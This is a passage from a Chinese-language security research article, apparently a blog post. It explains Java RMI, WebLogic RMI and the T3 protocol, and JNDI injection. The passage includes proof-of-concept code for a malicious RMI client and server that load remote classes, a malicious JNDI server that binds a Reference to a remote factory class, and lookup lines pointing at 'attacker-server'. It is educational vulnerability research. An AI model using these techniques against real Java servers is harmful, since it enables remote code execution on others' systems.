Message();message.setMessage("hahaha");services.sendMessage(message);}}这样就模拟出了一种攻击场景,这时受害者是作为RMI客户端的,需要满足以下条件才能利用:
- 可以控制客户端去连接我们的恶意服务端
- 客户端允许远程加载类
- 还有上面的说的JDK版本限制
可以看到利用条件很苛刻,如果真的满足了以上条件,那么就可以模拟一个恶意的RMI服务端进行攻击。完整代码在github上,先启动
remote-class/src/main/java/com/longofo/remoteclass/HttpServer
,接着启动java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer1.java
,再启动java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient1.java
即可复现,在JDK 1.6.0_29测试通过。远程方法参数对象为远程接口方法参数对象的子类(目标Server端需要为RMI Server端才能利用)
刚开始讲Java RMI的时候,我们模拟了一种攻击,那种情况和这种情况是类似的,上面那种情况是利用加载本地类,而这里的是加载远程类。
RMI服务端:
123456789101112131415161718192021222324252627282930313233343536373839404142434445//RMIServer.javapackage com.longofo.javarmi;import java.rmi.AlreadyBoundException;import java.rmi.RMISecurityManager;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer2 {/*** Java RMI 服务端** @param args*/public static void main(String[] args) {try {// 实例化服务端远程对象ServicesImpl obj = new ServicesImpl();// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);Registry reg;try {//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());RMISecurityManager securityManager = new RMISecurityManager();System.setSecurityManager(securityManager);// 创建Registryreg = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");} catch (Exception e) {System.out.println("Using existing registry");reg = LocateRegistry.getRegistry();}//绑定远程对象到Registryreg.bind("Services", services);} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}}远程对象接口:
1234567package com.longofo.javarmi;import java.rmi.RemoteException;public interface Services extends java.rmi.Remote {Object sendMessage(Message msg) throws RemoteException;}恶意远程方法参数对象子类:
12345678910111213141516171819package com.longofo.remoteclass;import com.longofo.javarmi.Message;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.Serializable;import java.util.Hashtable;public class ExportObject1 extends Message implements ObjectFactory, Serializable {private static final long serialVersionUID = 4474289574195395731L;public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}}恶意RMI客户端:
12345678910111213141516171819package com.longofo.javarmi;import com.longofo.remoteclass.ExportObject1;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient2 {public static void main(String[] args) throws Exception {System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");Registry registry = LocateRegistry.getRegistry();// 获取远程对象的引用Services services = (Services) registry.lookup("rmi://127.0.0.1:9999/Services");ExportObject1 exportObject1 = new ExportObject1();exportObject1.setMessage("hahaha");services.sendMessage(exportObject1);}}这样就模拟出了另一种攻击场景,这时受害者是作为RMI服务端,需要满足以下条件才能利用:
- RMI服务端允许远程加载类
- 还有JDK限制
利用条件也很苛刻,如果真的满足了以上条件,那么就可以模拟一个恶意的RMI客户端进行攻击。完整代码在github上,先启动
remote-class/src/main/java/com/longofo/remoteclass/HttpServer
,接着启动java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer2.java
,再启动java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient2.java
即可复现,在JDK 1.6.0_29测试通过。Weblogic RMI
Weblogic RMI与Java RMI的区别
为什么要把Weblogic RMI写这里呢?因为通过Weblogic RMI作为反序列化入口导致的漏洞很多,常常听见的通过Weblogic T3协议进行反序列化...一开始也没去了详细了解过Weblogic RMI和Weblogic T3协议有什么关系,也是直接拿着python weblogic那个T3脚本直接打。然后搜索的资料大多也都是讲的上面的Java RMI,用的JRMP协议传输,没有区分过Java RMI和Weblogic RMI有什么区别,T3和JRMP又是是什么,很容易让人迷惑。
从这篇文中[5]我们可以了解到,WebLogic RMI是服务器框架的组成部分。它使Java客户端可以透明地访问WebLogic Server上的RMI对象,这包括访问任何已部署到WebLogic的EJB组件和其他J2EE资源,它可以构建快速、可靠、符合标准的RMI应用程序。当RMI对象部署到WebLogic群集时,它还集成了对负载平衡和故障转移的支持。WebLogic RMI与Java RMI规范完全兼容,上面提到的动态加载加载功能也是具有的,同时还提供了在标准Java RMI实现下更多的功能与扩展。下面简要概述了使用WebLogic版本的RMI的一些其他好处:
1.性能和可扩展性
WebLogic包含了高度优化的RMI实现。它处理与RMI支持有关的所有实现问题:管理线程和套接字、垃圾回收和序列化。标准RMI依赖于客户端与服务器之间以及客户端与RMI注册表之间的单独套接字连接。WebLogic RMI将所有这些网络流量多路复用到客户端和服务器之间的单个套接字连接上(这里指的就是T3协议吧)。相同的套接字连接也可重用于其他类型的J2EE交互,例如JDBC请求和JMS连接。通过最小化客户端和WebLogic之间的网络连接,RMI实现可以在负载下很好地扩展,并同时支持大量RMI客户端,它还依赖于高性能的序列化逻辑。
此外,当客户端在与RMI对象相同的VM中运行时,WebLogic会自动优化客户端与服务器之间的交互。它确保您不会因调用远程方法期间对参数进行编组或取消编组而导致任何性能损失。相反,当客户端和服务器对象并置时,并且在类加载器层次结构允许时,WebLogic使用Java的按引用传递语义。
2.客户端之间的沟通
WebLogic的RMI提供了客户端和服务器之间的异步双向套接字连接。 RMI客户端可以调用由服务器端提供的RMI对象以及通过WebLogic的RMI Registry注册了远程接口的其他客户端的RMI对象公开的方法。因此,客户端应用程序可以通过服务器注册表发布RMI对象,而其他客户端或服务器可以使用这些客户端驻留的对象,就像它们将使用任何服务器驻留的对象一样。这样,您可以创建涉及RMI客户端之间对等双向通信的应用程序。
3.RMI注册中心
只要启动WebLogic,RMI注册表就会自动运行。WebLogic会忽略创建RMI注册表的多个实例的尝试,仅返回对现有注册表的引用。
WebLogic的RMI注册表与JNDI框架完全集成。可以使用JNDI或RMI注册表(可以看到上面Java RMI我使用了Registry,后面Weblogic RMI中我使用的是JNDI方式,两种方式对RMI服务都是可以的)来绑定或查找服务器端RMI对象。实际上,RMI注册中心只是WebLogic的JNDI树之上的一小部分。我们建议您直接使用JNDI API来注册和命名RMI对象,而完全绕过对RMI注册表的调用。JNDI提供了通过其他企业命名和目录服务(例如LDAP)发布RMI对象的前景。
4.隧道式
RMI客户端可以使用基于多种方案的URL:标准 rmi://方案,或分别通过HTTP和IIOP隧道传输RMI请求的 http://和iiop://方案。这使来自客户端的RMI调用可以穿透大多数防火墙。
5.动态生成存根和骨架
WebLogic支持动态生成客户端存根和服务器端框架,从而无需为RMI对象生成客户端存根和服务器端框架。将对象部署到RMI注册表或JNDI时,WebLogic将自动生成必要的存根和框架。唯一需要显式创建存根的时间是可集群客户端或IIOP客户端需要访问服务器端RMI对象时。
T3传输协议是WebLogic的自有协议,Weblogic RMI就是通过T3协议传输的(可以理解为序列化的数据载体是T3),它有如下特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
Weblogic T3协议和http以及其他几个协议的端口是共用的:
Weblogic会检测请求为哪种协议,然后路由到正确的位置。
查看Weblogic默认注册的远程对象
Weblogic服务已经注册了一些远程对象,写一个测试下(参考了这篇文章[5]中的部分代码,代码放到github了,运行
weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client
即可,注意修改其中IP和Port),在JDK 1.6.0_29测试通过:1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677//Client.javapackage com.longofo.weblogicrmi;import com.alibaba.fastjson.JSON;import weblogic.rmi.extensions.server.RemoteWrapper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class Client {/*** 列出Weblogic有哪些可以远程调用的对象*/public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException {//Weblogic RMI和Web服务共用7001端口//可直接传入t3://或者rmi://或者ldap://等,JNDI会自动根据协议创建上下文环境InitialContext initialContext = getInitialContext("t3://192.168.192.135:7001");System.out.println(JSON.toJSONString(listAllEntries(initialContext), true));//尝试调用ejb上绑定的对象的方法getRemoteDelegate//weblogic.jndi.internal.WLContextImpl类继承的远程接口为RemoteWrapper,可以自己在jar包中看下,我们客户端只需要写一个包名和类名与服务器上的一样即可RemoteWrapper remoteWrapper = (RemoteWrapper) initialContext.lookup("ejb");System.out.println(remoteWrapper.getRemoteDelegate());}private static Map listAllEntries(Context initialContext) throws NamingException {String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : "";HashMap<String, Object> map = new HashMap<String, Object>();System.out.println("> Listing namespace: " + namespace);NamingEnumeration<NameClassPair> list = initialContext.list(namespace);while (list.hasMoreElements()) {NameClassPair next = list.next();String name = next.getName();String jndiPath = namespace + name;HashMap<String, Object> lookup = new HashMap<String, Object>();try {System.out.println("> Looking up name: " + jndiPath);Object tmp = initialContext.lookup(jndiPath);if (tmp instanceof Context) {lookup.put("class", tmp.getClass());lookup.put("interfaces", tmp.getClass().getInterfaces());Map<String, Object> entries = listAllEntries((Context) tmp);for (Map.Entry<String, Object> entry : entries.entrySet()) {String key = entry.getKey();if (key != null) {lookup.put(key, entries.get(key));break;}}} else {lookup.put("class", tmp.getClass());lookup.put("interfaces", tmp.getClass().getInterfaces());}} catch (Throwable t) {lookup.put("error msg", t.getMessage());Object tmp = initialContext.lookup(jndiPath);lookup.put("class", tmp.getClass());lookup.put("interfaces", tmp.getClass().getInterfaces());}map.put(name, lookup);}return map;}private static InitialContext getInitialContext(String url) throws NamingException {Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);env.put(Context.PROVIDER_URL, url);return new InitialContext(env);}}结果如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445> Listing namespace:> Looking up name: weblogic> Listing namespace:> Looking up name: HelloServer> Looking up name: ejb> Listing namespace:> Looking up name: mgmt> Listing namespace:> Looking up name: MEJB> Looking up name: javax> Listing namespace:> Looking up name: mejbmejb_jarMejb_EO{"ejb":{"mgmt":{"MEJB":{"interfaces":["weblogic.rmi.internal.StubInfoIntf","javax.ejb.EJBHome","weblogic.ejb20.interfaces.RemoteHome"],"class":"weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub"},"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],"class":"weblogic.jndi.internal.WLContextImpl"},"interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],"class":"weblogic.jndi.internal.WLContextImpl"},"javax":{"error msg":"User <anonymous> does not have permission on javax to perform list operation.","interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],"class":"weblogic.jndi.internal.WLContextImpl"},"mejbmejb_jarMejb_EO":{"interfaces":["weblogic.rmi.internal.StubInfoIntf","javax.ejb.EJBObject"],"class":"weblogic.management.j2ee.mejb.Mejb_dj5nps_EOImpl_1036_WLStub"},"HelloServer":{"interfaces":["weblogic.rmi.internal.StubInfoIntf","com.longofo.weblogicrmi.IHello"],"class":"com.longofo.weblogicrmi.HelloImpl_1036_WLStub"},"weblogic":{"error msg":"User <anonymous> does not have permission on weblogic to perform list operation.","interfaces":["weblogic.jndi.internal.WLInternalContext","weblogic.rmi.extensions.server.RemoteWrapper","java.io.Externalizable"],"class":"weblogic.jndi.internal.WLContextImpl"}}ClusterableRemoteRef(-657761404297506818S:192.168.192.135:[7001,7001,-1,-1,-1,-1,-1]:base_domain:AdminServer NamingNodeReplicaHandler (for ejb))/292在Weblogic控制台,我们可以通过JNDI树看到上面这些远程对象:
注:下面这一段可能省略了一些过程,我也不知道具体该怎么描述,所以会不知道我说的啥,可以跳过,只是一个失败的测试
在客户端的RemoteWrapper中,我还写了一个readExternal接口方法,远程对象的RemoteWrapper接口类是没有这个方法的。但是
weblogic.jndi.internal.WLContextImpl
这个实现类中有,那么如果在本地接口类中加上readExternal方法去调用会怎么样呢?由于过程有点繁杂,很多坑,做了很多代码替换与测试,我也不知道该怎么具体描述,只简单说下:1.直接用T3脚本测试
使用JtaTransactionManager这条利用链,用T3协议攻击方式在未打补丁的Weblogic测试成功,打上补丁的Weblogic测试失败,在打了补丁的Weblogic上JtaTransactionManager的父类AbstractPlatformTransactionManager在黑名单中,Weblogic黑名单在
weblogic.utils.io.oif.WebLogicFilterConfig
中。2.那么根据前面Java RMI那种恶意利用方式能行吗,两者只是传输协议不一样,利用过程应该是类似的,试下正常调用readExternal方式去利用行不行?
这个测试过程实在不知道该怎么描述,测试结果也失败了,如果调用的方法在远程对象的接口上也有,例如上面代码中的
remoteWrapper.getRemoteDelegate()
,经过抓包搜索"getRemoteDelegate"发现了有bind关键字,调用结果也是在服务端执行的。但是如果调用了远程接口不存在的方法,比如remoteWrapper.readExternal()
,在流量中会看到"readExternal"有unbind关键字,这时就不是服务端去处理结果了,而是在本地对应类的方法进行调用(比如你本地存在weblogic.jndi.internal.WLContextImpl
类,会调用这个类的readExternal方法去处理),如果本地没有相应的类就会报错。当时我是用的JtaTransactionManager这条利用链,我本地也有这个类...所以我在我本地看到了计算器弹出来了,要不是使用的虚拟机上的Weblogic进行测试,我自己都信了,自己造了个洞。(说明:readExternal的参数ObjectOutput类也是不可序列化的,当时自己也没想那么多...后面在Weblogic上部署了一个远程对象,参数我设置的是ObjectInputStream类,调用时才发现不可序列化错误,虽然之前也说过RMI传输是基于序列化的,那么传输的对象必须可序列化,但是写着就忘记了)想想自己真的很天真,要是远程对象的接口没有提供的方法都能被你调用了,那不成了RMI本身的漏洞吗。并且这个过程和直接用T3脚本是类似的,都会经过Weblogic的ObjectInputFilter过滤黑名单中的类,就算能成功调用readExternal,JtaTransactionManager这条利用链也会被拦截到。
上面说到的Weblogic部署的远程对象的例子根据这篇文章[2]做了一些修改,代码在github上了,将
weblogic-rmi-server/src/main/java/com/longofo/weblogicrmi/HelloImpl
打包为Jar包部署到Weblogic,然后运行weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client1
即可,注意修改其中的IP和Port,在JDK 1.6.0_29测试通过。正常Weblogic RMI调用与模拟T3协议进行恶意利用
之前都是模拟T3协议的方式进行恶意利用,来看下不使用T3脚本攻击的方式(找一个远程对象的有参数的方法,我使用的是
weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub#remove(Object obj)
方法),它对应的命名为ejb/mgmt/MEJB
,其中一个远程接口为javax.ejb.EJBHome
,测试代码放到github上了,先使用ldap/src/main/java/LDAPRefServer
启动一个ldap服务,然后运行weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload1
即可复现,注意修改Ip和Port。在没有过滤AbstractPlatformTransactionManager类的版本上,使用JtaTransactionManager这条利用链测试,
在过滤了AbstractPlatformTransactionManager类的版本上使用JtaTransactionManager这条利用链测试,
可以看到通过正常的调用RMI方式也能触发,不过相比直接用T3替换传输过程中的反序列化数据,这种方式利用起来就复杂一些了,关于T3模拟的过程,可以看下这篇文章[2]。Java RMI默认使用的JRMP传输,那么JRMP也应该和T3协议一样可以模拟来简化利用过程吧。
小结
从上面我们可以了解到以下几点:
- RMI标准实现是Java RMI,其他实现还有Weblogic RMI、Spring RMI等。
- RMI的调用是基于序列化的,一个对象远程传输需要序列化,需要使用到这个对象就需要从序列化的数据中恢复这个对象,恢复这个对象时对应的readObject、readExternal等方法会被自动调用。
- RMI可以利用服务器本地反序列化利用链进行攻击。
- RMI具有动态加载类的能力以及能利用这种能力进行恶意利用。这种利用方式是在本地不存在可用的利用链或者可用的利用链中某些类被过滤了导致无法利用时可以使用,不过利用条件有些苛刻。
- 讲了Weblogic RMI和Java RMI的区别,以及Java RMI默认使用的专有传输协议(或者也可以叫做默认协议)是JRMP,Weblogic RMI默认使用的传输协议是T3。
- Weblogic RMI正常调用触发反序列化以及模拟T3协议触发反序列化都可以,但是模拟T3协议传输简化了很多过程。
Weblogic RMI反序列化漏洞起源是CVE-2015-4852,这是@breenmachine最开始发现的,在他的这篇分享中[7],不仅讲到了Weblogic的反序列化漏洞的发现,还有WebSphere、JBoss、Jenkins、OpenNMS反序列化漏洞的发现过程以及如何开发利用程序,如果之前没有看过这篇文章,可以耐心的读一下,可以看到作者是如何快速确认是否存在易受攻击的库,如何从流量中寻找反序列化特征,如何去触发这些流量。
我们可以看到作者发现这几个漏洞的过程都有相似性:首先判断了是否存在易受攻击的库/易受攻击的特征->搜集端口信息->针对性的触发流量->在流量中寻找反序列化特征->开发利用程序。不过这是建立在作者对这些Web应用或中间件的整体有一定的了解。
JNDI
JNDI (Java Naming and Directory Interface) ,包括Naming Service和Directory Service。JNDI是Java API,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
Naming Service:命名服务是将名称与值相关联的实体,称为"绑定"。它提供了一种使用"find"或"search"操作来根据名称查找对象的便捷方式。 就像DNS一样,通过命名服务器提供服务,大部分的J2EE服务器都含有命名服务器 。例如上面说到的RMI Registry就是使用的Naming Service。
Directory Service:是一种特殊的Naming Service,它允许存储和搜索"目录对象",一个目录对象不同于一个通用对象,目录对象可以与属性关联,因此,目录服务提供了对象属性进行操作功能的扩展。一个目录是由相关联的目录对象组成的系统,一个目录类似于数据库,不过它们通常以类似树的分层结构进行组织。可以简单理解成它是一种简化的RDBMS系统,通过目录具有的属性保存一些简单的信息。下面说到的LDAP就是目录服务。
几个重要的JNDI概念:
- 原子名是一个简单、基本、不可分割的组成部分
- 绑定是名称与对象的关联,每个绑定都有一个不同的原子名
- 复合名包含零个或多个原子名,即由多个绑定组成
- 上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
- 命名系统是一组关联的上下文
- 名称空间是命名系统中包含的所有名称
- 探索名称空间的起点称为初始上下文
- 要获取初始上下文,需要使用初始上下文工厂
使用JNDI的好处:
JNDI自身并不区分客户端和服务器端,也不具备远程能力,但是被其协同的一些其他应用一般都具备远程能力,JNDI在客户端和服务器端都能够进行一些工作,客户端上主要是进行各种访问,查询,搜索,而服务器端主要进行的是帮助管理配置,也就是各种bind。比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似URL的形式来访问目标服务,可以看后面提到的JNDI动态协议转换。把RMI换成其他的例如LDAP、CORBA等也是同样的道理。
几个简单的JNDI示例
JNDI与RMI配合使用:
123456789101112Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:9999");Context ctx = new InitialContext(env);//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定ctx.bind("refObj", new RefObject());//通过名称查找对象ctx.lookup("refObj");JNDI与LDAP配合使用:
123456789Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");env.put(Context.PROVIDER_URL, "ldap://localhost:1389");DirContext ctx = new InitialDirContext(env);//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");JNDI动态协议转换
上面的两个例子都手动设置了对应服务的工厂以及对应服务的PROVIDER_URL,但是JNDI是能够进行动态协议转换的。
例如:
1234Context ctx = new InitialContext();ctx.lookup("rmi://attacker-server/refObj");//ctx.lookup("ldap://attacker-server/cn=bar,dc=test,dc=org");//ctx.lookup("iiop://attacker-server/bar");上面没有设置对应服务的工厂以及PROVIDER_URL,JNDI根据传递的URL协议自动转换与设置了对应的工厂与PROVIDER_URL。
再如下面的:
12345678910Hashtable env = new Hashtable();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://localhost:9999");Context ctx = new InitialContext(env);String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";//通过名称查找对象ctx.lookup(name);即使服务端提前设置了工厂与PROVIDER_URL也不要紧,如果在lookup时参数能够被攻击者控制,同样会根据攻击者提供的URL进行动态转换。
在使用lookup方法时,会进入getURLOrDefaultInitCtx这个方法,转换就在这里面:
123456789101112131415161718public Object lookup(String name) throws NamingException {return getURLOrDefaultInitCtx(name).lookup(name);}protected Context getURLOrDefaultInitCtx(String name)throws NamingException {if (NamingManager.hasInitialContextFactoryBuilder()) {//这里不是说我们设置了上下文环境变量就会进入,因为我们没有执行初始化上下文工厂的构建,所以上面那两种情况在这里都不会进入return getDefaultInitCtx();}String scheme = getURLScheme(name);//尝试从名称解析URL中的协议if (scheme != null) {Context ctx = NamingManager.getURLContext(scheme, myProps);//如果解析出了Schema协议,则尝试获取其对应的上下文环境if (ctx != null) {return ctx;}}return getDefaultInitCtx();}JNDI命名引用
为了在命名或目录服务中绑定Java对象,可以使用Java序列化传输对象,例如上面示例的第一个例子,将一个对象绑定到了远程服务器,就是通过反序列化将对象传输过去的。但是,并非总是通过序列化去绑定对象,因为它可能太大或不合适。为了满足这些需求,JNDI定义了命名引用,以便对象可以通过绑定由命名管理器解码并解析为原始对象的一个引用间接地存储在命名或目录服务中。
引用由Reference类表示,并且由地址和有关被引用对象的类信息组成,每个地址都包含有关如何构造对象。
Reference可以使用工厂来构造对象。当使用lookup查找对象时,Reference将使用工厂提供的工厂类加载地址来加载工厂类,工厂类将构造出需要的对象:
123Reference reference = new Reference("MyClass","MyClass",FactoryURL);ReferenceWrapper wrapper = new ReferenceWrapper(reference);ctx.bind("Foo", wrapper);还有其他从引用构造对象的方式,但是使用工厂的话,因为为了构造对象,需要先从远程获取工厂类 并在目标系统中工厂类被加载。
远程代码库和安全管理器
在JNDI栈中,不是所有的组件都被同等对待。当验证从何处加载远程类时JVM的行为不同。从远程加载类有两个不同的级别:
- 命名管理器级别
- 服务提供者接口(SPI)级别
JNDI体系结构:
在SPI级别,JVM将允许从远程代码库加载类并实施安全性。管理器的安装取决于特定的提供程序(例如在上面说到的RMI那些利用方式就是SPI级别,必须设置安全管理器):
Provider Property to enable remote class loading 是否需要强制安装Security Manager RMI java.rmi.server.useCodebaseOnly = false (JDK 6u45、JDK 7u21之后默认为true) 需要 LDAP com.sun.jndi.ldap.object.trustURLCodebase = true(default = false) 非必须 CORBA 需要 但是,在Naming Manager层放宽了安全控制。解码JNDI命名时始终允许引用从远程代码库加载类,而没有JVM选项可以禁用它,并且不需要强制安装任何安全管理器,例如上面说到的命名引用那种方式。
JNDI注入起源
JNDI注入是BlackHat 2016(USA)@pentester的一个议题"A Journey From JNDI LDAP Manipulation To RCE"[9]提出的。
有了上面几个知识,现在来看下JNDI注入的起源就容易理解些了。JNDI注入最开始起源于野外发现的Java Applets 点击播放绕过漏洞(CVE-2015-4902),它的攻击过程可以简单概括为以下几步:
- 恶意applet使用JNLP实例化JNDI InitialContext
- javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
- 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
- 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
- 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例
- 由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行
相同的原理也可以应用于Web应用中。对于JNDI注入,有以下两个点需要注意:
- 仅由InitialContext或其子类初始化的Context对象(InitialDirContext或InitialLdapContext)容易受到JNDI注入攻击
- 一些InitialContext属性可以被传递给查找的地址/名称覆盖,即上面提到的JNDI动态协议转换
不仅仅是
InitialContext.lookup()
方法会受到影响,其他方法例如InitialContext.rename()
、InitialContext.lookupLink()
最后也调用了InitialContext.lookup()
。还有其他包装了JNDI的应用,例如Apache's Shiro JndiTemplate、Spring's JndiTemplate也会调用InitialContext.lookup()
,看下Apache Shiro的JndiTemplate.lookup():JNDI攻击向量
JNDI主要有以下几种攻击向量:
- RMI
- JNDI Reference
- Remote Object(有安全管理器的限制,在上面RMI利用部分也能看到)
- LDAP
- Serialized Object
- JNDI Reference
- Remote Location
- CORBA
- IOR
有关CORBA的内容可以看BlackHat 2016那个议题相关部分,后面主要说明是RMI攻击向量与LDAP攻击向量。
JNDI Reference+RMI攻击向量
使用RMI Remote Object的方式在RMI那一节我们能够看到,利用限制很大。但是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性
com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。
Reference中几个比较关键的属性:
- className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
- classFactory - 远程的工厂类
- classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议
使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。
123Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);registry.bind("refObj", refObjWrapper);//这里也可以使用JNDI的ctx.bind("Foo", wrapper)方式,都可以当有客户端通过
lookup("refObj")
获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,客户端会首先去本地的CLASSPATH
去寻找被标识为refClassName
的类,如果本地未找到,则会去请求http://example.com:12345/FactoryClassName.class
加载工厂类。这个攻击过程如下:
- 攻击者为易受攻击的JNDI的lookup方法提供了绝对的RMI URL
- 服务器连接到受攻击者控制的RMI注册表,该注册表将返回恶意JNDI引用
- 服务器解码JNDI引用
- 服务器从攻击者控制的服务器获取Factory类
- 服务器实例化Factory类
- 有效载荷得到执行
来模拟下这个过程(以下代码在JDK 1.8.0_102上测试通过):
恶意的JNDIServer,
123456789101112131415161718192021package com.longofo.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer1 {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {// 创建RegistryRegistry registry = LocateRegistry.createRegistry(9999);System.out.println("java RMI registry created. port on 9999...");Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);registry.bind("refObj", refObjWrapper);}}客户端,
12345678910111213141516171819package com.longofo.jndi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.NotBoundException;import java.rmi.RemoteException;public class RMIClient1 {public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {// Properties env = new Properties();// env.put(Context.INITIAL_CONTEXT_FACTORY,// "com.sun.jndi.rmi.registry.RegistryContextFactory");// env.put(Context.PROVIDER_URL,// "rmi://localhost:9999");Context ctx = new InitialContext();ctx.lookup("rmi://localhost:9999/refObj");}}完整代码在github上,先启动
remote-class/src/main/java/com/longofo/remoteclass/HttpServer
,接着启动rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/RMIServer1
,在运行rmi-jndi-ldap-jrmp/jndi/src/main/java/com/longofo/jndi/RMIClient1
即可复现,在JDK 1.8.0_102测试通过。还有一种利用本地Class作为Reference Factory,这样可以在更高的版本使用,可以参考https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html[11]的"绕过高版本JDK限制:利用本地Class作为Reference Factory"相关部分。
JNDI+LDAP攻击向量
LDAP简介
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议,运行在TCP/IP堆栈之上。LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。 LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。
目录树概念
- 目录树:在一个目录服务系统中,整个目录信息集可以表示为一个目录信息树,树中的每个节点是一个条目
- 条目:每个条目就是一条记录,每个条目有自己的唯一可区别的名称(DN)
- 对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来
- 属性:描述条目的某个方面的信息,一个属性由一个属性类型和一个或多个属性值组成,属性有必须属性和非必须属性。如javaCodeBase、objectClass、javaFactory、javaSerializedData、javaRemoteLocation等属性,在后面的利用中会用到这些属性
DC、UID、OU、CN、SN、DN、RDN(互联网命名组织架构使用的这些关键字,还有其他的架构有不同的属关键字)
